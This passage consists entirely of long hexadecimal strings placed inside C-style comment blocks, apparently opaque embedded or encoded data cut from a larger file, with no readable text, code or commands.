2f59305b21229bd1ce95d66f630c4ab2adf38051db75e34af429d36eba432ac10a6a8d5545688ac74a081cbaa81db700abd2b8219567f490b0f6d2f859b206e43ed4cf97ec957147443cbd494d7cf6e25d1e2b9c90296a4208ab79bc9798074fa7addf9b2468a9f7f319e9f82e635a887f887297cd8636e50dfd09bfabff40905b3436218928da2c9463d56cc4c462e0646d4e3afa3fedc32078e0cba5d560f2be1a05e235d56e249c76d1071c45e41f468181745710f9bc359522756ffc4cea741808e87cafd569f3e08bf3a3ad8ac89751b05b38d64de039c0d7958fef70e9c99d21e80f8dfa7884936dce282db6c4d2f26740fc841ff5a9bd2d5bbf476696dc31634df1214644daa64c36750af603870d744bfc0421a81d83c3d565ab7630ccd02b76f4b5fef2a91ead929d1fcebb9f448181ce5ee9b7a6568033a522dca74e8c299d1277471470dfb0cd3df36a797abdc71761d7c633fbf073e68860fe1298bbe0722cb318361596328113025f9029b284b9797ed68ba113d3ffe422a1aaca47dab6f01905a4c474df7655061464d477d2ee7fe813b2da74feeba35d4d247ff2e9de5502569cb69c2e812b95b0f4f87fcf2e32b8a606adcd748bba6ecbbe80134a0066c8a5f2783e21504b2c1e621c8c80*/
/*4a6e165d77dbcae0b60f787fa91d9c20555f067f8e0c958093bcad462a30317fe9cd5fc25ff3d7ec6244f5d82abb653f65153c8c82a1f6532f271f873ca768004046ca4f576b61961fa3d3a41b1d6dc9fa60da088645ebc21c708c562a0d46bfb44ba70f85b2b0983cf117a009b8d8f26fc915cd1c72717581ea8608cec437418b0342b929dc68854b1aa90b412cbdeec594e22b4896c4a2d1b3cd0961719a77d2b76bb5a1bd461caf547ddc69bc7a418f03445450d4c5d4eec18f918e63a48b6a48024d0df4f2d678d7b6a4960aa84510807060a43132dd0beae04aa1cc0ed0d914270ce205bdef2559b704edb19eb08c009d9adac31273a6da6ab88ace35f870dcd8b1afc2958d17859817fe81308c52321bf349e3f80367cb64b637132e5a29d8d3ed78eafecd3e526814e8062ac4da1cefd6ca90e7e5029164ebaba7a0eb39ba1c95c489c18e15536c6765f5e8cc1bcab1a0ab941f7c770226b1b2947747821cb097dc921ae7b771c312e8ef3f437c4ba057d094d965cf5cb8a27fffc0033f77c334915e50a6f6c9457e49b71068e95411d66529c8d01698f0af2c4468498e0a343813bda55173c08300e96734a232e99f95f9410e9aa5d6f4405afa509fd99dec7e25b9630e19d733e83daa1694866d81dc2913493e0e926ce46ce3074ec1ebfb75d93a7968ef1c4767b2e72c8783af965e784912becf131a1f26ab36bf18220a111d3ea42a1a0a5a9be0f94aaf8c419566a3ad01b3f864f4d210c304a5475a5372944a62798e029ce04dbeec3301405f664fc742004d34d427fd1f36827ca0950ebb08972b853dc43c02d1dad7df68b0e171a9e7555a7f575f61e62ca16dcfc44342ac00d6ca5c21908e88486cdfa0d5731fbf0f000d53c6718bf6504391a3f8898ed6e6bd126cb12efaeaafed08b55644d474bcc3100e1f580b5fec4f014e5d0995116f4794230ab87cee19c3a610be20945b069f3b475191e73ed5276a2175a76ee7c14e9b77963e16f15edc5af658ba10d4ce864b5a8e2fa43e91305d879aaf5a50577ea1512e85278a53126d061b2791b5f06350797b4ffd972a079ec43ec393c15acd6523ebc9b4c5051e183d2b2ed3da9083b27b08b4c169e162fc738a8d3be5fd82ccaf92436670dbb5fa710f35fbd0b743ab2a5c50c0f96ebce10f1a570041290a1fa0fd169ef32a493db971d2e6767214509ad01d592cc02110ac09ea7dafd17d81a3123cec6cea5579c075299d0e31f82808916d3af90159bd9bc95f32b0ff2c9638f872cdcfec234fd699b6e9be8f4f16bc789c75a8c692dea5a93af761257cd24d670966f731800fcae0c562e6bb8a1daf58ccbbec0afaeaf41ac3015387806bcbe102b1146cb6dcc659778dba950566f10ec71e803342e6a690c073d5bc854e856681b25f5a20d092479291626b55c0df6e88013d5f148ff444b735ec08db39cb71b6c54dc70ea3a5be330862920782a82eca3dbeba29a4a91c2cdca65064c6d76cbff8ab7ab87de3adec214f0eff86c55c27d1dfae56b1a799072a2be06d727efb5dd3e62aca94c9939acbbf89436e97942317d5175f29159b3df01b6cefd49374f29f302b8e16d2c5b1055b60052d20ce077b09c9c57285ca40edbc51a5888624c46f032e65558f446ebad5e67c4bbfb81b39ae3e88706687fca19be1068dac450a576aadc73a9a5d31a080fd7663dcf210482896cb44ae8da5de5eb5f49a70948e3261e679c3e7b3098bda98422802e35a464f7e4b4a94cba44a14a0c528da66c248ce045497592ccc462b06a09d2dac6d89a0b46e31ea796f8ddc4d07e142c72e0f46a17d3504eb6ff341296ecf5c7c8c3a63df27df8c9a9caf62e379fdb17a9695a277b74bd77bb1e37f6bc8400d5ded5cbb7037570f5ce243e70cc0b72eb3c40fd4c8d1880992b216d998acceff158a7fbd9c5abbaafc6b13f970b9b40938fc268a1f72c63e16700f9afb111f3036967364906caf0fc37ae9d3779ad96d86d840f30b1ef2fff44b8e93b746915359d427ac030bbc995138d688fd90e4bac12e9349d8f653fc515767bba922980bdf6632faf473190918cece68796494b6895999f15453c6e703b2a9b718279c60d75956258511d30f8333ca6919e87d70d31c0d1163ff235d042cb2a1ae8c9140392e0df13e046bfc7d806589a31567e7d785e84c9c105cdb1675795c17b084b1358f9ce713e590e72a6127bd9b67845ff0f6c0b194103847948c52e55ccdb904bce414dae81f2121b3a022dc8d1111fa3ced05b74326d2786ecce53733511667ce06574982bae31a2505b059861b85a235cc1489e1bc4f90d296ce1e535ad2ba0c6853120c299677359407fc5272298c2a33e3c325cf1f54700ebb03d7f45fa4b71fdab6dfda1dd37569d161f109eabc6399ba5805df07ddda5e3758cac8553bc6251c183f839f6166ad7f9faea89bcf44f5c5faa422b54d320ed70aff5447f40ef96fc701e5fcc2ef69da113c3f9e8a6564b09dc2823caed417034aabeeb7b53b939cfb548d4c9f8d3ec5c89c419e99ddd48057619d667deaffffee6681a5b5bc23cb088976101b87b578cf21374e673a35920b5a80fb09603b8469741a2f35e63bf1df76157b28e0e72a39204c934246b1b0770b58704b055e6bca2b680049a0e446ccadbdc14d04840ca8fc4f9ce5fe68d1e5742ad1940ade89de100453dacc364554e4b6c2862e833f150dd94fd755e2f2eda3d7f9c466e5bbbf4969c42cfb2e1d575b7ed9c9b319fa832ae45c9432565ffe2d91640bbdbc68016d62451fef34919905939bf1e25afb71cb55c68f88f8f978bade*/
/*6a4d9d22df722b616d96046c3e611be378b2b52e1f717d7fb5c85089e92dfe7d1ed86faba92400c52b7041427f0cbda751c97fa4dd6ba171588703b2d8931f386ee501df12abe969c7d63cc270cdda4fd8db64e7a862b106205280ab1bc4410a5cee126f98c132082ee625e3e98555b3fb3d8589e87b960aa7864f8f6837ce8c65275ec35882e81693882efb59e5de82f3a02379f25d35b2b587b2025727367460a6c8776ee0c7f1c0f2cab5e0fa48a5b58d5388926589c52367e86742c4088c7d7e265af7adb01523aac4ff4fead8e3b66358a26fe00bf1175b77329aaa3a0cb133d59fcc4b824092645067258a095c3869b7136b8bdc2c9773208efd88794b64340d2b0406066cbaa6a6e86836d4cf560d8b153d80b48ab826fbf8d1f58b637d8ca75cc9079c1b0994038f34df7a125f593554d4c5c894310835e0bf9690ea09fa36209724844a56ad808f8749875b94cd2806d86d61bd178af1c8ca45f5cc91cea1786492be09d46cef9227e53d8869e0927791ead9c2fef93f76483a0f0db906f2b740d89fa436cb0190cb8c486551e7a98ecdd427c555d9bf166ab7a20fe8ca19d97e5961a83e4e11ed81491d9553b0af5b45fd4bb0a2619929183c4c3377baea721c5bbf373e830ad4ceae518e32193cf643f22adf149d8dae2aa4e35b4a020e85491a44e5d6c98f11cfec3b5255375ae0d1ae3fa2f364086e6c4ff6887fd3abf3bdd720bc694946b0896039b1b72437a1c051d3949ae08445afac96d00303284b6db12edcdaf48dc84b9def716057e8013cb87114c995a56d6c8196ab62f5d85a48944fb1bd61abcb20183e8b616166c9aab48ebd44a9ed27cc47189fecb49f8939788b9b9bf365fceb83f6ea4a87b1abe026c27016d967e21894b9cba3c533246d9c3d922cacfa0d955ecbd8eeec6eb61d651ea09b1d97a44ab7a03884c30387cccf5fc3a35590788d9753eacc0cc1137e6c2c6286aff78df507b8b79aabd69ebc2a08f019af9ce5123ce173990d5b48b918cddeb253b2b453d0bb1b0fd29c140edc410ca43acb15f222188161e14410349222ceaf18c8445fe53b2c0ccb9ee35a6a87e627532f14526e02fb8174752f414bb1ebb436c192fa1ed464a337f8ceb31f482644c028a24e31cd2177f68d91fbb5c0a02c1d4cfc8bab14d4cd63adeade9797165184c6c2d15edd75c9aa835f9c2a502589195872c80f9c59928c53955578559109496ce25e1ffe6c96ab4ba293b57e3a2c326f80eb79704185ecd5465ffffa76166c2594894c5f5baf1e8c2bdffa430ee0a8fce04f0206587f88ba69edb7c2c02e0bb641b8e83e26e9cf93ad4648cc152477f927bb0cc914a66db8686786134eca67488d64f7f6f030ee3949af969355097dba175aa369cc2e4652e2d067e306461380b82fc93fbd829227c6c9f6e19b96951a31bf919e52e2a3ca3a6f4805421e530b53a63163af5b41de201ae795c6e70d21e506a65dc617ef4553d08f61d659f38c13750de577fa778c61b7365391bf7ad0831cdf60f6dafec789c39dcac1e1f838f134f0fabe8daef1d09cd60613bc91eaf4b7ebfc2e3a33727fef3fcc22b36fa5346b246d456fe2363bc2489b3214966a58250148837d838b68d1ec12589b32f9c7758e2dbfee95c07e3b8e21f0956334030bdb2badec2c08a8dc89e9496efdcd327884f0be2f824c219b616a2f096470e2f301c53e16e1082ffe9e55c422df5c7588b7b1e8ab4f427558b091d5e0f80591def1aee3c0e78c43cd05c2836ec1cfffa6e78461a0e21dbb8f19b6625dd47a246a2f620d0f30c50395f38bdbd1b4f7e1a8e2d2317c60b566b69a253afde689b74d353dad45f7956146d0dcd504290114905ea4be2be0a0d11d732b3a6fe59c02150abed838df86bb8f0d576600969306f227d1b25848704104a4be0eccd312056207ab3a0c3cc888783cc3042bdbd00d8162c7650b8f9e2fea418bd03a64cb511ccd8ba5f5552b01fe878cdaffddb65b08a135740c90c3a30a16b0bb694f9581ceca5627a589aa558b30b20e0421cbdf6a4a7ed057edbb3eb15c4b2f42f956919f39aa7440cbd771ab5707b971d1992f9b4b5603d540aa58ed8f4d0d9765b03a6dd9d01b7cb8716e50ad29fc52d644671f6d61955c0d8181fa0ceb1962ed9d8d2698eeb514c499b5f71b3d63ca78baa03ed43b8af2b4566065941ab3683bae69ed573684a948c7081e4836116601e6e98ad27021f881c89803b736df19aa349cc08d25a60d1629cd3af303f545e72b14854e518759252a8eacfe778e997a2e41b5f309e1a523583e2bfb42d79b34a3355edacf920296506d25a4a12ba85c16f7086d0e1dda2b802253c63dd52988bb2096c8cfb0963beb56d4524849d8b0115ffde5392e6afd6a7bf8a39544a86deec1040f521e86d537badc5ff35fbc5b1cb1af99c1c5a1a600fd4b09b63e9191dd2cadda8b946379d0187ca46258de274ced92636d47231187ffa42e2cff109b87f5ffa4c8c85164298b4805014c72cea68e6eb41732085e819715249f3862e17ae4752c91c5a2a378b1f5e73ee1e0068ba9d65dc2e39aa2ae12f0b5e800ec5aa2e9f5938159eabd18ddac1a51e9e4580f157ff0ffeb9e21de18f2259bf29ab4f0affa0efd7309b4ae236ca76454eb562f88d930def5b0e42bc0cd1cfd616b678eacc62f5ea7301568fa52a0a674c22ab9f74a696c42aa9f193a0e3042274cd4706595d570faa19b3cda1bbfa20467d41122702af2f93d791409d668646eed5e1b51f670087e5ce22fcc3c7f68bc5a2074cc51449e61aa13db428962eb31c01bf1de4d8782f0*/
/*b3f4b305f683c593c67d94895cf965ba96e9a7afa7bc43cc68d5d3302da4a606470c6dd3da023707af04859e95c3900197d6a04f0f951738005a53d5c327c79248a41939e806feea78a85d2bad5611dbdbcd2e7192d646ea7b44acb34f35808447581a8b53d1701ebfacae7a700489a1c58ea3fc82dbfbc939886706e0e1ae3174f127df6dfab5b5dd51f0a1f770afc6bfcaf6c988ca298a083c3f245242397553ade25d60fc4d2359c8bd0cc0f2a108197f216cc3fa4e3c9736c0378b463a18150eb372035e6be68938f4e0a0bda1a23701443e44d3cf2496025bd95a94c0ec665fb5112d1c8175e2ee1d89f3032262f0c1a36cb6949470bc33806e92d910c79a5569189e5ff25aa893f3ee523e09a39fd7f09bc3071482bec460b0c90982d97cac55ba5af61000a3e75fb163e625e118cd0586938b4efa6f6cf1e5057ae032e1b5606f25683494306e7efcd20a8359b189ccd1f60d92b09efbeca72c8a7a983e4f7fa0de44dc85a51be095b2844b7cf21397876ab6393d3285dc10a1e234fb4738eb4c3b53616b58001b5a3e2612dd9a52303ee9268f3b65ebfe27482503d39411f2ce77f871582ba032aa65b3c9c2267502846267cd42c929c6de9e93a0ca28fccfc5df6023e7a38d5167d7b7da42e8c25cd5ac5e8e7ebbf60391665175e099adf9932eeda69fe3041196739bda032012659f212958ce5a6719e75e0b8f43c5d2845375340c51f0e510e33f3bc37784998c1eb112bd6b701b9521cd51edda6170455a88935c64cddef3b4e286e9c53a62e8800385471a131134f96ac41cd3a67e84234b63649a99152e9a1a7ced360e4483767214a23991251575b5d3feb158094ec467104fc98fdbaa29d92827a16def606ac61c62707d4141a4e39e407d81584fddc8b48d9b36e9103c7eea57d1e0b82ad88d585d4db319773734f33dab3289f2531691464cf37a5f04e35c05e4226d7608bdc3d4890e6acc6f8d8473df4398fa9131c6d6b4b4ca3fed28a2a3b57f5a28d05ecad25ef6f4e40084b51a4e916a33876b3bd6d6c78016f8fd9439f266d61d8e04100929894a1f909b4fbef1c15883a2815c1ec05f630e9413c7645bcbdddf9ce52f4bc106b4379cda1394a5175badd819d2a0ebecebf03e9b709a236d992966799e90a6595855bf814c6ae6da7c869455ed975a064ab9120ddc051356d2fe514fc99487e28d96c29362c8826fd80b9fb5784f16a94a8a2abc6242bcb26bf74cb3191371325f388bab064483ec2c3bdcc63950f04aedc9c9495e8e053832944e3ed0e0001123cc91346f532d660de4ea4af08f53ca95be99bf0194a21724bc5886b806cf91432f42b9ad35ccfe28c88a4d2414c8a4195384e2950ce285aa2e1178c11218dff14bbb148f88840ab456f7a649677776216239ff950718cbb877a8240d99aeeaad21e8e48ffd5388cfdbdd2cad962e34e9d697cdb4a8f491915388493b30f6e49b6307ea9b31258983bd1e25b287822d4da4ffc5cf5a99f5fc5024dc7a5578698eab8f6a6c024d1067046020f8c22c510c4798c999e9497b9c4a0171fe059f5b5a8beac3f418a4797ac6d5aeffa525e94ee02e1877a56e0e17563196794be728a3ffbd57c8a4ed54c99e323b25ecc828479ef2d98d148f64de36c4ed4d5df02301faef73df3466bba7b4b913569ee3744930506525123fbd22cff353d352e71acac59202eb780e7eb71998759af7354dbbdea185bb589905e082f6bd90493e28059b5c2c62e16dc13ce9916816254986750089795dff9c39bd8985c9f81b2c8c69f8126cfbb06305adb528aa1f8a12e7d1cf29e8e760b6a680785fad0c224b60e9c61b40ba34b772343cab158eaa4d5429eb2ad80dce6a56077c0acb15d474bd25923afbbdc67dbded8f0c13bbc719f3b950bf9eea31f3ced9c12a2122589c844d527e1a2ffece7d15c4866e7035d37fa49cf74afd828f1d74748caa42f108ddfdbc2aa83dd0c391ce6d45400691fae13c5549a04e31d7042007fc39bc753b1bf75175702714187c29ec6f7a8314060355980aaa3ed2a8f4738239adfdf00efef90d7f62a97579c886b738f97b03501ea951801b8c9d44e6bd9cbdfda683cf7378cc1153cbad991a6a7cd553e71af8ab350645239644d71a9863d1c9b4e4646f0e6d837f24ff449ebcc79d05bfb901cef5429550e7757aaf4c602d983dacd88dc2d3856c223621725d5ed61770380cf7d35f3e20765d37c3a97b88f3a58faa9ab85ba07c1b9e3da4142ad265b4c76cddb3b2bbc72b399dad7c84044279ad30288986e247e3ec5f31902ee2e915ef36e67a312eaac775a69913d8ea13ef248f8f9d7b54e5345dcfbab4a84c104dc5c8d1082a76be927c8dd2fc90a2a80eaf61fac914941c2031f963a95e0c36dfc6cb528c4b00b8b34788c08d68fd76de7066eef8edc75670a66eb785fda6bc45bf49a0fd2b164e51662fa7719f55ba6817dc3e42970e397052a90230413a06850fe0430d0cc927ba90718fdce3443d9622f2b804a4afbda157aab038cd0ccdf454117dfca289aba83e0116ce48a4f100b617d2b0627b3494e19eca3df612a92b6480577584f26e786fc8da808b671e0b68a123893d8ff608f6129dc2816e8aecf943339b85f7e0aa7e020ed15c7bfc7487b1c4736320e60af95e1629f6037551931a031ae3bbba2ef897326eecba0001a89fdbbfbcf9b03f278867b6c7e1a0460428229f45b8ab920e000d7288e52cb7ca0cc761190f7cd610c2cbc6da22001d241ff1730779836faebfbb34dd42fbfb44ba2c6c6eb954c16e63babcb4d6af82752ec5223440fbc78697*/
/*4c99cb9469fe8de9e0465c6ac18256d1c49a6e417ce6d0a6e0058cce50ecbf3ed080ac49ca4c5076d89996b4791e151ce4655e3f9909091a8b2db260a81580df5c3d3a2b7ea3dfbf71d889fa604e3542a9011deded966219a73d861f050063e9b0382eaf1c5d0123a4f57bc496cae13539d67736542f2cedbcb9fd95913f251dc3eb48ba047bcd000d6ac5a98567bad15f45b1b60a0edfc19b007d4ae662f6553a90e8406b0e25cfa072ebd2ba19b8231f4bc0f76d97b5633850049c51b510515b3234653cf4f7ad2251fb302028762232af3e98a17a85bf0823ceb8e216bd6e9e5e620ad342df786643cc1f88e26f62e4a3fb726e8328082a0784d0f99f19301dc52e34cf468a25b8352e841446f9831fd987bd199cb6a8ef99ffff71448effecc26cf4791caecf9971a46a685749b51c3108dc11f7733e5604501925a680fe2630e37db63012094b35d9cee1c28d913b338e7fb07cf3753845b791d9a402825693db683bdb110d63105c043217713e45e5f5f67bc6becd34a47b5d189587dcc22384cbe467937a1958ea1c765a858f84799f0f97890ac8733f462f652060bf16a2d9deaf82c9fd1dd830fa4fa05d1edb4cf94fc0923baa5480fe60eaef22cc6a43ab5f71201220cfde67559eb0d57d36f9f64044d75ea2c4922ec7cf10bbb6a25d9958ab3bc653329eb60959a84f53842cd64fb273da7a6da9f7b493e7b7203273f4f06bab41e7581357798ad8b03e06d47acc022e2cb83e14ce34209ba5cde83515ae9e4328ffd96ef40ab25ba91baae34687ed9189191904a2244490ad5e03111fcf8e2d3be37385f245cbaa79182d5ce4ae735f06e5ce4c8c3d0ea215e2f982cd4537c4ba377388f931bb2b1374c4683132a94f11231be8933ac5ad90dd8ee43b8788fdd379c3e998e579179d690f71406c4a408fbf9e73a8fa33e0a3970e32a37a8141f48ce29206819cf93c63b47573c58b83f861c9edc0745fc84a8b3c525f4d4139ca1f84aaa856afb866d4e218377f728d61cab67ddbcaba186e0ecb5e621a852d4d5f1dd0b1a6a2c3f9e9ebb861911395884ccbaa1acd6b35df231f75df1aed1437bf016a502d2c18c604e5eba817750115cd32de2348b0b1a3fb1ba46be154cdc237b64433cca40c42fd5ae6596557fec00e9b423dc4ad07182e25ef4330cc6d2cdf670d23f563fb32b2d73590ded859973d75ab2ad00eeb89a99a4e331ae79fcde3ec6587ff11aadc8bbceb5fb2eb48a4c13a8be95d0ae690e598725e84a8e0c9d0e1790de66585ab5038cce19f6d461acd96864bebf721b41238b71d148721d10298848b0444c67d1936aaedc3dad7adc019eaf9186e241f554b2f35f2566a34a24b99a4b2924b8a032b7ae517b05baa2a6d289513bc293525f20b6b2ad1d9c47ab7376bd1b7536cc4853236862d60c16eb5537dea823a1d20f71e05206b20d6450cfe822274f648ff818537a2331d4c8c08d5265d24fd84fcac0ece7e9f78b261214bdc60191a26bd72391fc215cb1d75c29e430175c6f9a47cff95922665892f13bee72c27c11a03c58b1d4a79613acea70d8b236427bab49c1a6b9dc1335e8480b6821cbf82ad751eb4fdddbd1cd211081e371b1a0e111b177d6d943269f902b1351aae6fce546e4aed2b142153eac5ebcdb0c808ede8ec8042a59e68a8803be5cde7e24885c38893be4d0ec701d470ba1c0703440632efd274786604a371b0a0b4eb05bdd2e9424249f17a15c2690ee8756362d5c2996e3ff5e34edeb5e558421b8fd49c7df8f2942627af13f60459d16a061debdf95083b36417e9d678d73d0f789655e314a974c07a199ca7367e046bff0c5917077ecfd391b8bbf3171eed617665d0af17b84ea5325e50c413c1c394a3f529941aa93fc3a48335a0b26de02fbaf473a81dcdbf7680e187f69c30a7bbbe15f2086ce5c89f4d9f8134fef936212be868283e970baa3482af82c2b3373e1fcaac1b5e14d58544ee4a884292dfe0dfdaf293e8fced23e1b5e544d5e5cd37c59716eb7a448667f74c4a3e3e732c1a32f825c8e1a4027bdf7fda1ac325178c8a67f6c6534f8eed5f88f577ab2de13ba834c5455056f1adda37b32a8ebf02577f38065d08cd5e04b3cb22827b19bababcdae1e7c29c8de31efc7c375f87fcd97f98d10474b14612a168e31d770d1093b901747106c4fad6d79ee8aa73a75f980741208b9da8f5f8e1f82a47836eb63d87bfa1ac0db8c8374a489fe3d7eac9ed3f8c61d719174df798976a3578af90d488a2ad617c4bcc94a952692cb0ac54e4d2e4a6efcb0437820e757fc9ffc0d441cd7bb57b333c555674a62df5a51b736d4182fa91c30fb3300bc8628580fb772a4a64c59c28af64d5e6ec408ec87ba5c8a8870b29f3bf4dd6a4441646d2bb7bd8ef2937468d7a15d59966ebcd0251a9f338ac77806e0365b1936bf64023d4a59b176a99bd595feb2df2c1a42bf17c06c5867f2a75b28ca83f8814958eb0650e143378c5f92380160a4767ea43ce18f50995e542b9c33797fa2006227d1b79fe2b42304dbc31df19934e6e70ab71b83db89f74a77eb80318b85cbf34cdf10f815abbeb533c0e9a14f8256f94a4847c87d3199d27a23b91bee4079219c1438db6faa1cdc48b2892de3b52bafcb8847e7e26e0e007a2724196b6390182e648e0b759e3eb02f30371cb683efe360e51d74ba16456054084820457a3e6684dbe39393e66cd307d01e329115daaba82b03834bdfb0cca97133a54557b7b313427f8f13d27ce3dd761212f3229888cd6a1e2ed5e2d01b8540ae67e4a241a4ef67bd8fe51db927445a85b2*/
/*2cd0f1a1b353d721f0d1fb1178bf8987dc83dd463351751f639ad3e013bd3ce86e6b1924df4c532b844bae9408f635820d08b6cbe599bfd3febd452039024cceb42b9b1720ff361a6ec202457ffd2d42a414ad1a8d4e40f35d712db813234438643210e9b92ecfe79f5403badda7f4d2e13a53d8948247525b5f45b57d54a6422262ec7a1868e92d1ff1486c4193f472d34eca4d1ed55db32ca7f9bb24180f1cacc783b80ccb38ab887fc5dfd036eef12758ed7fcb0094c130227fa0bf94fdfbdd2b63a61886341f0d6abd231c3e2adec87f1c869245200d027f72d57c0d5531eb239555dea4d4e1c94f2018c6e5227602ec8750caab482076939e263018dd8bfab659cd9edd187ba5ec8d94084c8d9937f0d280256974b440bb59db12444e286ebc0cd2694e50a1a678f59670dde3ccb775f99b7e9696f0d6924b60c0e50c8d8be98d757a03c5cbc3e8cb5740ff1ae3cc842ada039161f561972123f42811a4f8a1e38e306670e55e67268343a0e982ee7d498a1c9b55faf7a479b3627d1911e698e45d81f78d7c8d5853fecea9d9763d6e5f8e83b484b071aff88cdd4bb5455da365cb0d87fe202d894355769c1969623a6693ad35cee202d28d2914e1075575700f3e86babab925715a98cc30834d0757996ae7a92cf94640e8c89749627849d1e867625a6b09f70f8aa98a8353c12f41c12945dd6986ba1624b75eca5849272067aaa4052bd71f375e71d728fc7d15119670bed05aa3e47759214c87618d10c42e441dc7ef98be0695f745155a7b40d7c5f7230df810ba94fc58aad7e44add4b406740242ec0e1b623ce4ec9d12b61d6634b05e4fa6f363fc5384bbabff44af60d9afe660251958b0220ce54c5d5a4453dc111933e420c4f80e44669155a05bc6c5530b94bf8c6148ed27a9209747fcef1f1739a828ae00443b6f6279827099dca1511e1fb68ed58fe1eab3aaabf557e1cc63140af4c4cdb98ad91a8a18c549fa430c04c4b3e2d0b8e80e0def611c47172994b692b0930fb73643cca384476f4e38d553c8cf72f0f3e9ce975f608cf2a896ddfc52e11e2fe9c3df39c67fc93262c9c4c8af006284e447238fa54a17114b0da659e4b01846434c138017dfd1232f5d4c477d30681fe24143805f0d845b43e5418b38d09f3b526b26958243d56514d81efa2c56c9a8e1aa22e3eb34e269d15b724c61416665c52f71864a2b5c3dac414bead39dd5309a1fde4e848f0690ae24cef70ae5b2e203d70e9aa4cdf8137f3abb48441aeb4e8a0f4cb3cdc3351f091a172e51ec2f40d0b478194e32fd0b65e8f8feda3f3ab5004103bc803881ec8addbe4b74461c8427400b4df0eac39e226adff25c60b17614e30ec069d8048196c0cff1a65fdd536b92faddcfa0d0f5d1eb3fbc626fee8b925937c5983aba9fe983763359d39a3f1c57f1bcb8718dbc282c6696a9319c58c99ae9f41e465795ed53f33e191c36bf4a492c0ec0f9ee58e3aa1604d59f1e289251d56dd50a580ff1c63580decfa5a901a9100d6da2dcf287cd8e5fa49dce07824009fb13defa91c6a9e1c88eccb00129305e277be709c27f8db72d54af5f2dfda7c9f4a1779205e55114b7208e7aacaa63b539500d9c56e47d5f2a4da8393e82e0a1711af37c48981e313ad9cf68807c9d1774ffce7afaf014fb5c05de71413e4fc482b2367cae589b19d124576ff5b6fb5b72243864586114ce5e64c33a4bdc4030bd045ee98f249b2a4abe2058bdee74ba5fd1f50c599c55bf149b751ac00e95afd4c02135f9b3028e1270b5263c5c1b4fa70a9b2293d0da9ada55aebdbbcebbc7d0e0150cbb48694bb55f49c883c00bd5b721eefcd5180a0b99ab502389c8130c5cb146b7f0478f975f3fe5d93c6f5c6772a0d2245c2a1854b870758a1f2543dfb6d70a67282ad4e2036cff3c4b679b5e247ef9b982495d21bb4d918da0b66c94f26a53ec61a477ed0aa147a3359a5a75c0b9d817ba6c9ccf698308289b76b82aa0f15d507791bb30ed7ff467ac6afc9adee64feb4e928a1da5ba7c3e5175105d6a856fb544004e228c5bd3dd861d4ceae419f3f740d95d8c9d249102045f8e7a46fce660d98f560dead61595074ae74382cfe0d2c91578fbd6ede0ea184ce1f84b3773ce91f79d2ececec44140a0ad17eca763360a92d6a6079832a719b2a8f5144da5463bbf1f61f598c950831a65f27d81d8e417e07d90a6e3f232b034404a5c0054f972b769a28c228b76b9c8ad60d3cb96e2d0f9ddfe03521069756c97b3a249aa50dc5a8431651d2f2caea56e7c217c2576db431ba5dea58ca66a998d2f6489f9fddbd61bd9ba2690ad8847a9862bd2cebef52f6fad3e679b876f1fe9b1eaf1323374ab7cb46a30371c2597cb0e976b187fce960f772c30864fc2829b472df5faa9f11f570771bcfc0041375be64f8c5f615c381ceb42a0c0e3819b35d3db926e17bbf5fd5ae6c5a2daa8f369f82cfe74f097f69ee1eacd7fc6a6b2c6aef67b2978da1dba7a888030d02a020dfa75dee09ea30a7ed03590d64d682bf96ff2d55d166e082e7c7bbb066bb16c8e9bd77573c97d297e8ff50bb6eda5d9789ae2386b0fc65da827efaeebb9070fe0b9bd6281d32ed792e799c3181b4f25bdeed81f03de4a1eefce097c7355338e0f3cf5af0fcfd3c70c81ccc094f754e090c138e23dfd650a8a1dc3aaa041ab3b1060035012b90033661d4da27c09d871215dba693a652bb96e25e97865de9640de1cadf68ab4cbe8e7937cc2f9bef85854dadb71f45bea7eaee5e0da8c2f821e4d506e952058a2cc4ad2f42b124ec130216f56a7755*/
/*d7b91a3def3aad3f6d21a5c5d2e03e3570f61366c1a721d4409dca12902430bc8195f6cb82627faac07161617477c7e3f286f0baff32d319b2d3c606b7da785dc7bc8c090ca1e74a92d69c217f8492090270ef2241a76a27393bebb584e5264314b2e3dd4b75d3fc5b0894655c301e4fdcf6d665620f89b51aa9e03bdc2b2866593c8e6b11b0a45242f9d858367d6421fdd546319d7101da19a52552afa69403d599c631c8a120155fee15a70ae2d821b2c13afda11d3976700a8eb5b8bad8d29deadb5805c9e5d2535bef622a669652eef710af6a48843aaa8b8aa78de83ded02c19858c06a2bb4251c6047e1d6aa0d2102a53de6f360b933e840913cb54d3a931b840e6495fe107ba64f74245387765e3e046f32a836ae6c1d96ee6b887163fd74c4007f2e94bdd301d297a101cfebb7f85a68713667add9d0db0ba5129302124d175c6e685fd11215d24487fd7ebe3969285dcabafce36770bccf20fbe6b24da4368180f72139bb73ae0b336d715ad962047b7b3f3ac233c5fab38769eabc085dd6058d6b87207299dc6ae2b4ab9dd474063eea568619790a1560edcbae3a79271917f0f5d32cfa553666d59c05e6a58a1b1b585c74fc13fef50b83e823fd7fc48887209a257c280ee56403afdd3e102f4263aa08be7484368f58b30aea48614ebf3e16de75fcfe5a200dd89e8188fe391bcdaf95bb02a3ac4dcb1cded9cca33261eba977f60078dea45ff59c8795264744f2aad36c72adf96da9aec4c1f4810c3bebab58d886933148252a4fe2c4708e8c811a42260481cdf4832379da59b3ee96466576efae708eb5faf07d312fda7d78566cb45ddbb10c88ce661e27bf22f9bf1bdfea2bec1e830e8125e2a9a574400a075d5a009928a10377afba29eea2454c3a97bac34809188e3d543224b4f82d56e75a12261721d288d7b284f13a33ff1eb5702419a051c0074a3c2d27980d5b07841377fcedf36d520947bb8a34a4198a070a3685ad1b34ae0f041a0c0a0b6b1ee20a09de875182ba593f8117761de18d0ff64b130f1825d3812e2b05b7d9c41e44198258ac5145a5ba0c40f0526f5a6a81e86507b0dcbb6cc6a8ba5c924d751db6be95da2f73575512c18cc8606150ffb58be6ef0e7f4ddbb9f4a43e2fbc4b9c331a58541c7bf2199bf1d145c7e26140202502ddd070f88a30e1547b442c2ccb904bd6063b40fca18153a1fbfc3606ae929e28edc476e1573483b3febf1b2a12903ce2eeb1adc00add9d43d9502cd512b715ef2822d424e849d3204ad8a66a65d453243b9aa9b14b41037b48e7257c8ef235a8488de5e40a03476d0aad498f9527692120a2df342e58ec4c372d34b076022d28565aa4265c7538a7c0fc24a0ced962b654244e0f4260e64f7e027a861bb1b15374620eec15226baa5b9cba486d0f95676bcd05d069fb6a21fdfb613aff6dd7da7f25feb1b22b855695cf8fc24b80cef91b8b14f285be57a5e725c5153f9bf68bcb3bb7660aeac55abce831266ec8822d4eb11c388a4b103985522cb70ad2fa0f434c686fce7694c1c83da6dfcf2b26d